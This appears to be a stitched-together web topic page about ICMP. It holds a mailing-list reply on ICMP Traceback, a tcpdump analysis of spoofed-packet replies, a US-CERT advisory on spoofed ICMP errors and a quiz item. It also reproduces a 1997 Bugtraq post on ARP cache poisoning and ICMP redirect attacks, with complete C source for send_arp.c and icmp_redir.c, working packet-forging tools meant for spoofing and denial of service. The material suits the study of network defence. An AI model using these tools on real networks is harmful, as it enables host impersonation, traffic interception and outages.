- Cc: [email protected]
- Delivered-To: [email protected]
- In-Reply-To: <[email protected]>
- Sender: [email protected]
On Thu, 17 Aug 2000 [email protected] wrote: > Given that the Tracebacks could potentially be the only useful ICMP > messages to permit into a secure router, there seems to be nothing that > would stop somone using ICMP Tracebacks to stage a DoS flood attack. > Although this is mentioned briefly in section 4.2 of the Draft, are there > any plans to reccommend ingress filtering, or even a mechanism of dropping > of icmp traceback messages by edge routers ? > > Section 4.2 seems to deal with fake or spoofed ICMP tracebacks. The case I > am considering is where the attacker does not care about spoofing the > packet, just wants to use it to either stage an attack, which may be more > successful as it is unlikely that these ICMP would be filtered or rate > limited anywhere on the backbone due to their positive use. If someone spoofs the tracebacks, ICMP Traceback enabled routers will still generate ICMP tracebacks for those spoofed packets, right? Granted there will be alot of information to sort through on the receiving end, theoretically there will be traceback information delivered to the end. Sort of a built in protection mechanism! Maybe a BCP should be suggested that limits ICMP exiting a customer and entering an ISP? It would be great if all ISPs would filter their customer ingress and egress points stop spoofed packets. Dave Hartzell
|
|
|
One night I encountered some ICMP (For more explanation on ICMP see below) traffic destined for my machine which I really couldnt place. Becomming suspicious over what was going on, I decided to capture these packets with tcpdump. I let tcpdump dump the data link layer and let tcpdump print each packet in hex and in ascii too, to be able to analyse these packets completly.
below is one of these packets dumped by tcpdump. The rest of the ICMP packets I received were all the same kind, same addresses. Therefore analysing just one of these packets is enough to see what's this about in this case. Let's start the analysis in detail:
23:52:35.812013 Dest_Mac_addr Src_Mac_addr 0800 70: xxxx xxxx > yyyy yyyy : icmp: host zzzz zzzz unreachable - admin prohibited filter (ttl 253 , id 37201) 0x0000 4500 0038 9151 0000 fd01 a6e0 xxxx xxxx E..8.Q.........V 0x0010 yyyy yyyy 030d 595f 0000 0000 4500 0028 ..}...Y_....E..( 0x0020 dc41 0000 3d06 1b42 yyyy yyyy zzzz zzzz .A..=..B..}..... 0x0030 0118 a27b 0000 0000This is the output from tcpdump on one of these packets. The data link layer contains the 48 bits Destination MAC (Media Access Control) address, the 48 bits Source MAC address and the ether type, which is 0800 in this case which indicates IP. To continue this analysis with the hex dump, some knowledge of IPv4 is needed. For the IP (INTERNET PROTOCOL) header, all the information is decribed in RFC 791. RFC stands for Request for Comment which contain the standards for the internet and much more. Section 3.1 from RFC 791 specifies the Internet Header Format which is printed in hex by tcpdump, the length of the IP header is 20 bytes (160 bits):
4500 0038 9151 0000 fd01 a6e0 xxxx xxxx yyyy yyyy4 = Version is 4 (4 bits)
5 = IHL (Internet Header Length) = 5 (4 bits)
00 = 0 (8 bits Type of Service)
0038 = 8 + 48 = 56 (16 bits total length in bytes, so the total length is 56 bytes)
9151 = 1 + 80 + 256 + 36864 = 37201 (16 bits Identification)
0000 = 3 bits flas + 13 bit fragment offset, all 0, so no fragments)
fd = 13 + 240 = 253 (8 bits TTL (Time to Live))
01 = 1 = (8 bits protocol number, 1 = ICMP ( RFC 1700))
a6e0 = 0 + 224 + 1536 + 40960 = 42720 (16 bit hdr checksum)
xxxx xxxx = 32 bits source ip address
yyyy yyyy = 32 bits destination addressRFC 1700 specifies all the Assigned Numbers. So in there you can find which numbers stands for which protocol.
The next bits represent the ICMP part of the packet. ICMP stands for INTERNET CONTROL MESSAGE PROTOCOL and is described in several RFC's. The first one is RFC 792. The second one needed for this packet is RFC 1812 for it describes an ICMP code which is defined later the the types and codes defined in RFC 792.
030d 595f 0000 000003 = 3 (8 bits ICMP type, so ICMP type = 3)
0d = 13 + 0 = 13 (8 bits ICMP code, so ICMP code = 13)
595f = 15 + 80 + 2304 + 20480 = 22879 (16 bits checksum)
0000 0000 = 32 bits unusedNext in this kind of ICMP message follows the original IP header and 64 bits of the data of the original packet which was send, which caused machine xxxx xxxx to send the ICMP Destination Unreachable packet as a response to yyyy yyyy, the original sender.
4500 0028 dc41 0000 3d06 1b42 yyyy yyyy zzzz zzzzThe first 16 bits are same as in the first IP header.
0028 = 8 + 32 = 40 (16 bits total length, so the total length is 40 bytes)
dc41 = 1 + 64 + 3072 + 53248 = 56385 (16 bits Identification)
0000 = no fragments
3d = 13 + 48 = 61 (8 bits TTL, so TTL = 61)
06 = 6 + 0 = 6 (8 bits protocol number, number 6 is TCP (RFC 1700))
1b42 = 2 + 64 + 2816 + 4096 = 6978 (16 bits header checksum)
yyyy yyyy is 32 bits source address
zzzz zzzz is 32 bits destination addressFinally,
0118 a27b 0000 0000represend the 64 bits data header after the IP header, since the protocol is TCP, it means the first 64 bits (8 bytes) of the TCP header:0118 = 8 + 16 + 256 = 280 (16 bits source port, so source port = 280)
a27b = 11 + 112 + 512 + 40960 = 41595 (16 bits destination port)
0000 0000 = 0 is 32 bits sequence number ...Now we analysed all the hex output of the packet and we can draw conclusions:
yyyy yyyy received an ICMP type 3 code 13 from xxxx xxxx (since only routers may issue an icmp type 3 code 13, xxxx xxxx is a router) Meaning: Destination Unreachable: "Communication Administratively Prohibited". The TTL in the ICMP message from xxxx xxxx was 253, most likely the TTL which was set by router xxxx xxxx is 255. The fact that the TTL has decreased by 2, means that there are 2 hobs between me and that router. According the data in the ICMP packet yyyy yyyy send out a TCP package from port 280 to zzzz zzzz on port 41595 With sequence number 0. However, on it's way the packet had to pass the router xxxx xxxx which didnt allow traffic to zzzz zzzz on port 41595 and therefore send the discussed ICMP packet as return.
yyyy yyyy received more of these packets with exactly the same IP addresses and source and destination ports. Also other ports came into question in other packets exactly like these. However, every single time the sequence numer was 0, in each of these packets.
yyyy yyyy is the IP of one of my own machines. But this got me confused since I am sure I never send out such a packet to that machine I aint run services on port 280. The other possibility is that my machine could be hacked and another process was doing this. Since I'm sure I aint being hacked this also cannot be the case. I checked my machine out again to see whether I missed some stuff, but no ... nothing like that. Another very odd thing is that the sequence number was every time 0 according to the data part of the ICMP header, which contained the IP header of the packet which was originally send, in every ICMP packet like that I received. This leaves one option open, which is that another machine send out spoofed packets to zzzz zzzz as if they originated from my IP address. This aint the first time I encoutered packets like these. In the period June and July 2001 in Virginia in the States, I also encountered a lot of ICMP traffic destined for my machine there. On the IP Filter (one of the best firewall's) mailing list more people started asking questions over similar packets. Click here for the archive, and look for Strange Log Entries. The question and answers start here. In case the archives aren't online anymore, you can try this link: Click here for the link and for a next message on this tread choose: "next in thread".
Spoofing still happens a lot. We just saw an example of that. In fact, it's still a big problem on the internet as we know it today. Another example is (D)DOS ((Distributed) Denial of Service) attacks, which often happen from spoofed IP addresses, making it tougher to trace them back to there origin. Hence, there are still a lot of incomplete configured routers active on the web which dont check whether the packet to forward with source address yyyy yyyy can indeed originate from the interface it receives it from, or whether it's a spoofed packet and should be discarded. This is called Network Ingress Filtering and is described in RFC 2267.
|
|
|
As the above picture shows (click on it for an actual sized version), this is the Towers Of Hanoi implemented using the ICMP echo/response mechanism (commonly known as ping). In a nutshell, you ping the Hanoi machine, and you get response packets whose sequence numbers represent the disk moves needed to solve the puzzle. You need to do a few things in order to get this up and running, as described below.
Firstly, hanoi-icmp.c, the C program implementing the "Hanoi ICMP Daemon", has been written on and for Linux, and has been tested only on RedHat versions 8.0, 7.3, 7.2 and 7.1. It may or may not work elsewhere. The only kernel versions tested are 2.4.18 and 2.4.2, and others may or may not work.
Google matched content |
May 27, 2018| linux.slashdot.org
Backtracking attacks
ONLamp.com -- Examining ICMP Packets
Internet Control Message Protocol
Secret message in a ping: creation and prevention - WSEAS PDF
GENESIS SYN-Spoofing Immunity System
| Throughout the months which followed,
these pages served their purpose: Many people enjoyed taking the intellectual walk through my description of an alternate and
in some ways superior means for establishing a TCP connection. But even more significantly, perhaps because my pages were more
visible than descriptions of SYN Cookies, I have had numerous conversations with engineers at Microsoft, IBM, Cisco, and other
leading vendors. They have asked about my implementation, and I have gladly explained my enhancements and the limitations built
into my approaches.
Today, Windows 2000 and XP incorporate a form of adaptive encrypted token SYN spoofing immunity that automatically "kicks in" when a Windows 2000 or XP machine is under a SYN spoofing attack. At that time, as with my system, a number of TCP optimization features are unavailable to the connections . . . but that's far better than being able to offer no connections at all. IBM has developed their own similar approach for dealing with, and creating an immunity against, SYN spoofing. Unfortunately, unlike my work and that of Dan Bernstein et al, IBM is attempting to patent their solution. You may find details of the pending IBM patent here: "Methods and systems for defeating TCP SYN flooding attacks". |
Don Parker
ICMP Router Discovery Configuration Guidelines
An example of VPN server spoofing
ICMP Spoofing
Date: Fri, 19 Sep 1997 05:12:07 -0500 From: Yuri Volobuev <[email protected]> To: [email protected] Subject: Redir games with ARP and ICMP Playing redir games with ARP and ICMP by yuri volobuev [ -Intro- ] There're bugs and there're features. All too often the distinction between the two is in the eye of the beholder. I'd like to show how two legitimate protocols, ARP and ICMP, while properly implemented, can be used to achieve something which is, well, not desirable. While passive attacks (sniffing) that take advantage of the root access to LAN are extremely popular and every half-way decent root kit has some kind of a net sniffer, active attacks are not nearly as widespread. Yet, active participation in the life of your LAN may bring lots of fun and joy. You knew that already, it's just that technical details had been somewhat obscure. So, let there be more light. Possibilities outlined here include spoofing and DoS. While other means of spoofing, such as IP blind spoofing, are more general and powerful, in terms of who can use them, they require quite a lot of (guess)work and may be hard to implement. ARP spoofing, on contrary, is very easy and robust. While ARP spoofing is only possible on a local network, it may be a serious concern as a way to extend an already existing security breach. If somebody can break into one machine on a subnet, ARP spoofing can be used to compromise the rest of it. [ -Background on ARP- ] [well, originally i wrote few paragraphs outlining arp, but then i figured that if you didn't know how it works already, you'll need to learn it from a better source. I recommend "TCP/IP Illustrated" by W.Richard Stevens.] [ -What can be done- ] Let's consider a hypothetical network IP 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4 hostname cat rat dog bat hw addr AA:AA BB:BB CC:CC DD:DD (for short) all connected by Ethernet in some simple way (i.e. no switches, no smart hubs). You're on cat, you have root and desire to break into dog. You know that dog trusts rat, so if you can successfully spoof rat, something can be gained. First thing that comes to mind (I think everybody was thinking about this at some point) is "why don't I set my IP to the IP of that other machine and..." That won't work, at least it won't work reliably. If you tell Ethernet driver on cat that it's IP is 10.0.0.2, it'll start answering ARP requests to that IP. But so will rat. It's a pure race condition, and there's no winner. However, you can easily be the loser, because this particular situation happens quite often when some box is misconfigured to use somebody's else's IP, so many implmentations immedeately notice that and loudly complain. Many network traffic analyzers flag that, too. Seeing a syslog message saying something nasty (mentioning cat's Ethernet address) on the LAN admin's console is not quite what you want. And what you want you won't necessarily get, that is getting anything remotely close to a working connection. This of course can be helped. The attached program, send_arp.c, can be a useful tool. Just as its name says, it sends an ARP packet [ARP reply, to be exact: since the protocol is stateless, reply will be happily accepted even if no one ever asked for it. Request would do just as well, though, because of the ARP caching logic] to the net, and you can make this packet to be what you want. What you want is an ability to specify source and target IP and hardware addresses. First, you don't want your Ethernet driver to talk too much, and it's easy to accomplish with ifconfig -arp. Of course, it'll need ARP info anyway, so you'll have to feed it to the kernel manually with arp(8). The critical part is convincing your neighbours. In the case being described here, you want dog to believe that rat's hardware address is that of cat (AA:AA), so you send ARP reply with source IP 10.0.0.2, source hw address AA:AA, target IP address 10.0.0.3 and target hardware address CC:CC. Now, for all dog knows, rat is at AA:AA. Cache entry would expire, of course, so it needs to be updated (request needs to be resent). How often depends on the particular system, but every 40 sec or so should be sufficient for most cases. Send it more often if you want, it won't hurt. A complication here could come from an ARP caching implementation feature. Some systems (e.g. Linux) would try to update their cache entries by sending a unicast ARP request to the cached address (like your wife calling you just to make sure you're there). Such a request can screw things up, because it could change victim's ARP entry that we just faked, so it must be prevented. This can be accomplished by feeding the "wife" system with replies so that it never has to ask for it. Prevention is the best cure, as always. This time, a real packet from dog to rat should be sent, it's just that cat will be sending it, not dog, but for rat there's no way to tell. Again, doing it about every 40 sec is usually OK. So the procedure is simple. Bring up an alias interface, e.g. eth0:1 (or use your current one, whatever), with rat's IP and ARP on -- you need to set up some cache entries first, and it won't work on non-arp interface. Set up a host route entry for dog through the right interface. Set up a cache entry for dog, turn off arp, and it's all set. Now, inject the venom with send_arp (hitting both dog and rat) and for all dog knows, you're on rat. Just remember to keep sending those ARP packets to dog and rat. This attack only works on the local network, of course (in general, it can reach as far as ARP packets can get, usually not too far because ARP packets are almost never routed). But an interesting extension here is taking this outside by replacing dog's hardware address in the above plan with the router's. If it works (I'm not sure it always will, router's ARP implementation may be tougher to fool, and since I don't want to try it on real routers, I don't know, but there's no simple reason why not) you can easily impersonate any machine on the local network to the rest of the world. So the target machine could really be anywhere, but the machine you're impersonating must be on the same LAN. [ -What else can be done- ] Aside from spoofing, there's range of other things you can do with ARP. The sky is really the limit here. DoS is the most obvious application. Feeding victim wrong hardware address is a powerful way to make it mute. You can prevent it from talking to any particular machine (and ARP cache size usually allows for the whole network to fit in, so effectively you can stop it from talking to everybody for some time). Obvious target would be the router. Cache poisoning again should be two-way: both the victim system and the system you don't want victim to talk to should be fed. The simplest case would be feeding a non-existant address. It's not the most efficient, though, as the system will quickly realize that it's talking to nobody and send out an ARP request. Of course, your next drop of poison will nullify this, but you have to do it quite often. A more efficient approach here is feeding the victim with the hardware address of the wrong machine, which itself is alive and well. Again, it depends on a particular situation, but very often what happens is that victim keeps sending out packets of various types that arrive to the wrong destination, and destination system will promptly send ICMP Xxx Unreachable messages back, thus emulating a connection in some perverted way. This pseudo-conection can easily postpone cache expiry. On Linux, for example, pseudo-connection raises cache expiry from usual 1 min to about 10 min. By that time, most or all TCP connections are screw up. Could be quite annoying. This way, one ARP packet can screw someone. An interesting twist here is so-called "gratuitous ARP". It's when the source and target IPs in the ARP request are the same, and it usually appears in a form of an Ethernet broadcast. Some implementations recognize it as a special case, that of a system sending out updated information about itself to everybody, and cache that request. This way one packet could screw up the entire network. It must be admitted, though, that gratuitous ARP is not really defined as a part of ARP, so it's up to vendor to (not) implement it, and it's becoming increasingly less popular. ARP is a serious tool for professional practical jokes, too. Just imagine somebody setting up a relay, or tunnel, in a form of own machine that convinced two neighbours to send their packets intended for each other to relay's Ethernet. If relay just forwards packets to their real destinations, no one would even notice. However, some simple data stream modifications could have quite a spectacular effect on one's mental health. A simple, CPU-inexpensive "filter" could be swapping random two bytes at irregular long intervals. If it hits the data portion, most of the checksums won't change, i.e. data stream would seem to be intact, yet strange and unexplicable things _will_ happen for no apparent reason. [ -ICMP redirects- ] An effect somewhat similar to ARP cache poisoning can be achieved in a different way, again using a legitimate protocol feature, ICMP route redirects. Such a redirect is normally sent by the default router to the system to indicate that there's a shorter route to some particular destination. Originally, both network and host route redirects were proposed, but later net redirects were deprecated and now are usually treated as host redirects. Properly constructed ICMP packet that passes all sanity checks (it must come from the default router for the destination it's redirecting, new router should be on a directly connected network, etc.) it causes a host-route entry be added to the system routing table. The concept is just as secure as ICMP itself, i.e. (security)NULL. Spoofing routers IP address is simple, and attached icmp_redir.c does just that. Host Requirements RFC states that system MUST follow ICMP redirects unless it's a router. And indeed all the systems I've tried happily accept it (except vanilla Linux 2.0.30, where it's broken, it works in 2.0.29 and 2.0.31pre9, according to Alan Cox). ICMP redirects present a rather potent DoS. Unlike ARP cache entries, those host routes won't expire with time. And of course no access to local network is required, attack can be launched from anywhere. So if the target system does accept ICMP redirects (and packets can actually reach it) that system can be stopped from talking to any particular address on the net (well, not all, but those that aren't on the same subnet with the target). Nameservers would be an obvious target. [ -What can be done about it- ] ARP is low level protocol and as such is usually hidden from normal people. LAN admins may be concerned with it at times, but if all goes well no one pays attention. One can always inspect contents of ARP cache using arp(8), especially if there's some misterious network problem, but again it's not the first thing that comes to mind. Even W95 has arp command, and remembering about it may be helpful in certain situations. However, if you're the target of the attack originating from another network via gateway arp spoofing, there's no way to tell. Similarly, host routing table could be examined to spot ICMP-generated entries (in most versions of route(1) they are marked with D letter in flags field). Just be aware. The above ARP attack scheme work perfectly for plain old 10Base2 Ethernet. However, if machines are interconnected in some more advanced way, particularly using some smart hubs or switches, attack can be more visible or even impossible (same goes for passive attacks). So there's yet another reason to invest in a good piece of network equipment. A good deal of peace of mind may just come with it. In general, however, I personally find it rather sad that things like ICMP redirects were made a default. First, it's often not necessary because many networks have very simple structure and there's never a need for anything in addition to usual routing table. Second, on more sophisticated networks routing table can be just as well set manually, it's not really such a dynamic thing, so why do it via ICMP? And finally, it's dangerous, so I would like to disable it on my systems, even though it'll make them less compliant with RFC1122. Alas, it may not be easy. On Linux or any other OS with sources available, I can at least hack the kernel and #define it out. On Irix 6.2 and possibly other versions one can set icmp_dropredirects=1 with systune (I'm genuinely surprised to see it there, I really am). Other OSes can be configurable, too, I have no information. With ARP, we basically face a situation when the problem of name resolution is solved dynamically without a centralized server. It doesn't have to be this way. When one wants to map hostname to an IP, nameserver is queried or /etc/hosts is consulted, i.e. there's some static mapping established. I don't see why a similar thing can't be done with ARP. Ethernet hardware addresses don't change too often, and when they do change, it won't kill net admin to change the corresponding map. Ethernet can be forced in no-arp mode, you just need to make sure your ARP cache has all the entries made as permanent. As a bonus, this will reduce network traffic somewhat. Standard procedures can be used to distribute ARP map, e.g. rdist, rsync (I would say NIS, but if you use NIS, ARP is probably not your top security concern anyway). Old tradition of /etc/ethers can be brought back to life. But getting a kick-ass Ethernet switch still looks better to me (paying for it does not, though). And old wisdom still shine bright though time: don't use hostname-only based auth. Those who do shall have no mercy from net gods. cheers, yuri P.S. On Firewalls I anticipate that many of you, having read the section about ICMP, are already flexing the fingers preparing to write a follow-up explaining that all those ICMP packets can be filtered out on the firewall, thus it's not a problem. Please don't. I'm well aware of the concept. An if you feel you absolutely have to, don't cc the list needlessly. I have to note that many people ur effective. Imagine an environment where all machines are directly connected to Internet, you have to share subnet with people you don't know who have vanilla SGI boxes screaming "hack me pleeeease, my vendor did such a great job of making it eeeeeeasy" all over the place (and sure, these people know Unix, they've seen it in Jurassic Park... and that would be about it), and the router to your subnet is controlled by a separate organization. Welcome to a standard academic environment, where people don't use firewalls. In fact, in some of those environments one would be useful to protect the outside world from the people on the inside. Still, people work there, and use computers, too. And that's where per-host security solutions are necessary, it's a jungle where every host is for itself. So please, next time you think "firewall", remember, it's not for everyone. CUT HERE /* send_arp.c This program sends out one ARP packet with source/target IP and Ethernet hardware addresses suuplied by the user. It compiles and works on Linux and will probably work on any Unix that has SOCK_PACKET. The idea behind this program is a proof of a concept, nothing more. It comes as is, no warranty. However, you're allowed to use it under one condition: you must use your brain simultaneously. If this condition is not met, you shall forget about this program and go RTFM immediately. yuri volobuev'97 [email protected] */ #include <stdio.h> #include <ctype.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <netdb.h> #include <sys/socket.h> #include <linux/in.h> #include <arpa/inet.h> #include <linux/if_ether.h> #define ETH_HW_ADDR_LEN 6 #define IP_ADDR_LEN 4 #define ARP_FRAME_TYPE 0x0806 #define ETHER_HW_TYPE 1 #define IP_PROTO_TYPE 0x0800 #define OP_ARP_REQUEST 2 #define DEFAULT_DEVICE "eth0" char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\ \tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"}; struct arp_packet { u_char targ_hw_addr[ETH_HW_ADDR_LEN]; u_char src_hw_addr[ETH_HW_ADDR_LEN]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_char prot_addr_size; u_short op; u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; u_char sndr_ip_addr[IP_ADDR_LEN]; u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; u_char rcpt_ip_addr[IP_ADDR_LEN]; u_char padding[18]; }; void die(char *); void get_ip_addr(struct in_addr*,char*); void get_hw_addr(char*,char*); int main(int argc,char** argv){ struct in_addr src_in_addr,targ_in_addr; struct arp_packet pkt; struct sockaddr sa; int sock; if(argc != 5)die(usage); sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP)); if(sock<0){ perror("socket"); exit(1); } pkt.frame_type = htons(ARP_FRAME_TYPE); pkt.hw_type = htons(ETHER_HW_TYPE); pkt.prot_type = htons(IP_PROTO_TYPE); pkt.hw_addr_size = ETH_HW_ADDR_LEN; pkt.prot_addr_size = IP_ADDR_LEN; pkt.op=htons(OP_ARP_REQUEST); get_hw_addr(pkt.targ_hw_addr,argv[4]); get_hw_addr(pkt.rcpt_hw_addr,argv[4]); get_hw_addr(pkt.src_hw_addr,argv[2]); get_hw_addr(pkt.sndr_hw_addr,argv[2]); get_ip_addr(&src_in_addr,argv[1]); get_ip_addr(&targ_in_addr,argv[3]); memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN); memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN); bzero(pkt.padding,18); strcpy(sa.sa_data,DEFAULT_DEVICE); if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){ perror("sendto"); exit(1); } exit(0); } void die(char* str){ fprintf(stderr,"%s\n",str); exit(1); } void get_ip_addr(struct in_addr* in_addr,char* str){ struct hostent *hostp; in_addr->s_addr=inet_addr(str); if(in_addr->s_addr == -1){ if( (hostp = gethostbyname(str))) bcopy(hostp->h_addr,in_addr,hostp->h_length); else { fprintf(stderr,"send_arp: unknown host %s\n",str); exit(1); } } } void get_hw_addr(char* buf,char* str){ int i; char c,val; for(i=0;i<ETH_HW_ADDR_LEN;i++){ if( !(c = tolower(*str++))) die("Invalid hardware address"); if(isdigit(c)) val = c-'0'; else if(c >= 'a' && c <= 'f') val = c-'a'+10; else die("Invalid hardware address"); *buf = val << 4; if( !(c = tolower(*str++))) die("Invalid hardware address"); if(isdigit(c)) val = c-'0'; else if(c >= 'a' && c <= 'f') val = c-'a'+10; else die("Invalid hardware address"); *buf++ |= val; if(*str == ':')str++; } } CUT HERE /* icmp_redir.c This program sends out an ICMP host redirect packet with gateway IP supplied by user. It was written and tested under Linux 2.0.30 and could be rather easily modified to work on most Unices. The idea behind this program is a proof of a concept, nothing more. It comes as is, no warranty. However, you're allowed to use it under one condition: you must use your brain simultaneously. If this condition is not met, you shall forget about this program and go RTFM immediately. yuri volobuev'97 [email protected] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <netdb.h> #include <syslog.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/ip_icmp.h> #include <netinet/ip.h> #define IPVERSION 4 struct raw_pkt { struct iphdr ip; /* This is Linux-style iphdr. Use BSD-style struct ip if you want */ struct icmphdr icmp; struct iphdr encl_iphdr; char encl_ip_data[8]; }; struct raw_pkt* pkt; void die(char *); unsigned long int get_ip_addr(char*); unsigned short checksum(unsigned short*,char); int main(int argc,char** argv){ struct sockaddr_in sa; int sock,packet_len; char usage[]={"icmp_redir: send out custom ICMP host redirect packet. \ yuri volobuev'97\n\ usage: icmp_redir gw_host targ_host dst_host dummy_host\n"}; char on = 1; if(argc != 5)die(usage); if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ perror("socket"); exit(1); } sa.sin_addr.s_addr = get_ip_addr(argv[2]); sa.sin_family = AF_INET; packet_len = sizeof(struct raw_pkt); pkt = calloc((size_t)1,(size_t)packet_len); pkt->ip.version = IPVERSION; pkt->ip.ihl = sizeof(struct iphdr) >> 2; pkt->ip.tos = 0; pkt->ip.tot_len = htons(packet_len); pkt->ip.id = htons(getpid() & 0xFFFF); pkt->ip.frag_off = 0; pkt->ip.ttl = 0x40; pkt->ip.protocol = IPPROTO_ICMP; pkt->ip.check = 0; pkt->ip.saddr = get_ip_addr(argv[1]); pkt->ip.daddr = sa.sin_addr.s_addr; pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr)); pkt->icmp.type = ICMP_REDIRECT; pkt->icmp.code = ICMP_REDIR_HOST; pkt->icmp.checksum = 0; pkt->icmp.un.gateway = get_ip_addr(argv[4]); memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr)); pkt->encl_iphdr.protocol = IPPROTO_IP; pkt->encl_iphdr.saddr = get_ip_addr(argv[2]); pkt->encl_iphdr.daddr = get_ip_addr(argv[3]); pkt->encl_iphdr.check = 0; pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr), sizeof(struct iphdr)); pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp), sizeof(struct raw_pkt)-sizeof(struct iphdr)); if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){ perror("sendto"); exit(1); } exit(0); } void die(char* str){ fprintf(stderr,"%s\n",str); exit(1); } unsigned long int get_ip_addr(char* str){ struct hostent *hostp; unsigned long int addr; if( (addr = inet_addr(str)) == -1){ if( (hostp = gethostbyname(str))) return *(unsigned long int*)(hostp->h_addr); else { fprintf(stderr,"unknown host %s\n",str); exit(1); } } return addr; } unsigned short checksum(unsigned short* addr,char len){ register long sum = 0; while(len > 1){ sum += *addr++; len -= 2; } if(len > 0) sum += *addr; while (sum>>16) sum = (sum & 0xffff) + (sum >> 16); return ~sum; }US-CERT Vulnerability Note VU#222750 TCP/IP implementations do not adequately validate ICMP error messagesOverview
Multiple TCP/IP implementations do not adequately validate ICMP error messages. A remote attacker could cause TCP connections to drop or be degraded using spoofed ICMP error messages.I. Description
A number of widely accepted Internet standards describe different aspects of the relationships between the Internet Control Message Protocol (ICMP) and Transmission Control Protocol (TCP). In particular, RFC 1122 explains how TCP should respond to ICMP messages:4.2.3.9 ICMP Messages TCP MUST act on an ICMP error message passed up from the IP layer, directing it to the connection that created the error. The necessary demultiplexing information can be found in the IP header contained within the ICMP message. o Source Quench TCP MUST react to a Source Quench by slowing transmission on the connection. The RECOMMENDED procedure is for a Source Quench to trigger a "slow start," as if a retransmission timeout had occurred. o Destination Unreachable -- codes 0, 1, 5 Since these Unreachable messages indicate soft error conditions, TCP MUST NOT abort the connection, and it SHOULD make the information available to the application. DISCUSSION: TCP could report the soft error condition directly to the application layer with an upcall to the ERROR_REPORT routine, or it could merely note the message and report it to the application only when and if the TCP connection times out. o Destination Unreachable -- codes 2-4 These are hard error conditions, so TCP SHOULD abort the connection. o Time Exceeded -- codes 0, 1 This should be handled the same way as Destination Unreachable codes 0, 1, 5 (see above). o Parameter Problem This should be handled the same way as Destination Unreachable codes 0, 1, 5 (see above).
An ICMP message contains the IP header and the first 8 bytes of the transport layer (TCP) segment that caused the error condition (this covers IP and TCP header information). In order to match an ICMP message to a TCP connection, TCP stack implementations generally match the source and destination TCP port and IP address four-tuple from the data returned in the ICMP message. An attacker who knows or can guess this four-tuple can create spoofed ICMP messages. By setting ICMP types and codes to indicate hard or soft error conditions, the attacker may be able to cause valid TCP connections to be reset or degraded. An attacker may also be able to take advantage of path MTU discovery functionality by spoofing ICMP type 3 (Destination Unreachable) code 4 (Fragmentation Needed but Don't Fragment Bit Set) messages and lowering the MTU for a connection (this is described in section 8 of RFC 1191).Note that any protocols that use path MTU discovery and state-based transport layer protocols other than TCP could also be affected.
Further details about this vulnerability are available in an IETF Internet Draft titled "ICMP attacks against TCP" (revision 3 as of this writing) authored by Fernando Gont.
II. Impact
A remote attacker could cause TCP connections to drop or be degraded using spoofed ICMP error messages. Applications that depend on on long-lived, low latency, or high throughput TCP connections may not function correctly on a degraded TCP connection. In order to spoof an ICMP message, an attacker would need to know or guess the source and destination TCP port and IP address four-tuple. The Border Gateway Protocol (BGP) is of paticular concern since it relies on long-lived TCP connections (VU#415294), uses well-known source and destination ports, provides critical network and Internet routing information, and may require a non-trivial period of time to recover from a sustained attack.III. Solution
Upgrade or apply a patchUpgrade or apply a patch according to vendor instructions. Note that changes made by upgrades or patches may not completely defend against spoofed ICMP attacks. Consult vendor documentation for information on changes to ICMP message handling. Consider the general and attack-specific countermeasures discussed in the Gont I-D. Some of the countermesures include validating TCP sequence and acknowledgement numbers contained in ICMP messages, improving TCP ephemeral port number randomization, changing the response to or ignoring certain ICMP messages, and delaying connection resets. Note that different countermeasures have different constraints and may negatively impact TCP operations.
Filter ICMP messages
Filter ICMP messages based on type and code at network borders. Allow only ICMP messages that are necessary for proper operation.
Reference
Q1. 4 functions that ICMP protocol performs are:
a. echo (ping)
b. telnet
c. rcp
d. rlogin
e. rpc
f. TTL announce (used by traceroute)
g. source quench message (during congestion)
h. network error announcement
A: A,F,G,H
Society
Groupthink : Two Party System as Polyarchy : Corruption of Regulators : Bureaucracies : Understanding Micromanagers and Control Freaks : Toxic Managers : Harvard Mafia : Diplomatic Communication : Surviving a Bad Performance Review : Insufficient Retirement Funds as Immanent Problem of Neoliberal Regime : PseudoScience : Who Rules America : Neoliberalism : The Iron Law of Oligarchy : Libertarian Philosophy
Quotes
War and Peace : Skeptical Finance : John Kenneth Galbraith :Talleyrand : Oscar Wilde : Otto Von Bismarck : Keynes : George Carlin : Skeptics : Propaganda : SE quotes : Language Design and Programming Quotes : Random IT-related quotes : Somerset Maugham : Marcus Aurelius : Kurt Vonnegut : Eric Hoffer : Winston Churchill : Napoleon Bonaparte : Ambrose Bierce : Bernard Shaw : Mark Twain Quotes
Bulletin:
